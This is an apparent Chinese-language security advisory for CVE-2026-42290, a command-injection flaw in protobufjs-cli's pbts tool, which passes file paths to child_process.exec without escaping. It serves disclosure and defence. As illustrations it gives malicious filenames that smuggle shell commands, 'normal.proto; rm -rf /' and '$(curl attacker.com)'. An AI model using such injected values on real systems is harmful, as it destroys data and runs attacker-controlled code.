CVE-2026-42290protobufjs-cli是protobuf.js的命令行扩展工具。在1.2.1和2.0.2版本之前,其pbts组件在调用JSDoc时存在严重的安全缺陷。程序通过将输入文件路径拼接到字符串中,并使用`child_process.exec`直接执行。由于该方式会调用系统Shell,如果文件名中包含Shell元字符(如分号、反引号等),这些字符将被Shell解析为命令而非普通参数。这允许攻击者在用户处理特定文件时,在底层系统上执行任意代码,严重影响系统的机密性、完整性和可用性。
该漏洞的根源在于Node.js中`child_process.exec`函数的不当使用。`child_process.exec`并非直接执行程序,而是启动一个系统Shell(如bash或cmd.exe)来解析传入的命令字符串。在受影响的protobufjs-cli版本中,代码直接将用户提供的文件路径拼接到JSDoc的调用命令中,未进行任何转义或安全过滤。
攻击者利用此漏洞的路径相对特定但危害巨大。攻击者首先构造一个包含Shell元字符的恶意文件名,例如`normal.proto; rm -rf /`或`$(curl attacker.com)`。随后,攻击者诱导受害者下载该文件并在本地环境中运行`pbts`命令进行处理。当`pbts`执行时,Shell会将文件名中的元字符解释为命令分隔符或子命令注入,从而导致原始命令执行后,紧接着执行攻击者注入的任意系统命令。鉴于CVSS评分中AV:L(本地攻击向量),攻击通常需要结合社会工程学手段,诱骗具有系统访问权限的用户执行构建操作。一旦利用成功,攻击者即可获得当前用户的Shell权限,进而窃取数据、植入后门或破坏系统环境。